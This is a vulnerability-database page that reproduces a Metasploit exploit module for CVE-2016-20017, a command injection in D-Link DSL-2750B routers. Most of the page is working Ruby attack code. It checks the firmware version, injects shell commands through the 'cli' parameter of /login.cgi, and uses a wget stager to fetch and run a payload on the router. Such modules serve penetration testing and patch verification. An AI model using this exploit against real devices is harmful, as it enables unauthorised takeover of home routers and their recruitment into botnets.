D-Link DSL-2750B OS Command Injection
🗓️ 05 Feb 2016 00:00:00Reported by p <p@ql>, Marcin Bury <[email protected]>Type
metasploit🔗 www.rapid7.com👁 57 Views
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| CVE-2016-20017 | 19 Oct 202200:00 | – | attackerkb | |
| The vulnerability of the D-Link DSL-2750B router’s microprogramming software lies in the lack of measures taken to clean data at the control level, allowing attackers to execute arbitrary commands. | 2 Nov 202200:00 | – | bdu_fstec | |
| CVE-2016-20017 | 29 May 201815:50 | – | circl | |
| D-Link DSL-2750B Devices Command Injection Vulnerability | 8 Jan 202400:00 | – | cisa_kev | |
| CISA Adds Six Known Exploited Vulnerabilities to Catalog | 8 Jan 202412:00 | – | cisa | |
| D-Link DSL-2750B 命令注入漏洞 | 19 Oct 202200:00 | – | cnnvd | |
| CVE-2016-20017 | 19 Oct 202200:00 | – | cve | |
| CVE-2016-20017 | 19 Oct 202200:00 | – | cvelist | |
| D-Link DSL-2750B Devices < 1.05 Command Injection (CVE-2016-20017) | 8 Jul 202500:00 | – | nessus | |
| Microsoft research uncovers new Zerobot capabilities | 21 Dec 202220:00 | – | mmpc |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link DSL-2750B OS Command Injection',
'Description' => %q{
This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices.
Vulnerability can be exploited through "cli" parameter that is directly used to invoke
"ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03.
},
'Author' => [
'p@ql', # vulnerability discovery
'Marcin Bury <marcin[at]threat9.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2016-20017'],
['PACKETSTORM', 135706],
['URL', 'https://seclists.org/fulldisclosure/2016/Feb/53'],
['URL', 'http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/']
],
'Targets' => [
[
'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
[
'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => '2016-02-05',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
deregister_options('CMDSTAGER::FLAVOR')
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/ayefeaturesconvert.js'
)
unless res
vprint_error('Connection failed')
return CheckCode::Unknown('Could not determine the target status')
end
unless res.code.to_i == 200 && res.body.include?('DSL-2750')
vprint_status('Remote host is not a DSL-2750')
return CheckCode::Safe('The target is not vulnerable')
end
if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/
version = Regexp.last_match[1]
vprint_status("Remote host is a DSL-2750B with firmware version #{version}")
if version >= "1.01" && version <= "1.03"
return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
end
end
CheckCode::Safe('The target is not vulnerable')
rescue ::Rex::ConnectionError
vprint_error('Connection failed')
return CheckCode::Unknown('Could not determine the target status')
end
def execute_command(cmd, _opts)
payload = Rex::Text.uri_encode("multilingual show';#{cmd}'")
send_request_cgi(
{
'method' => 'GET',
'uri' => '/login.cgi',
'vars_get' => {
'cli' => "#{payload}$"
},
'encode_params' => false
},
5
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server")
end
def exploit
print_status("#{peer} Checking target version...")
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
execute_cmdstager(
flavor: :wget,
linemax: 200
)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Feb 2016 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.65234
SSVC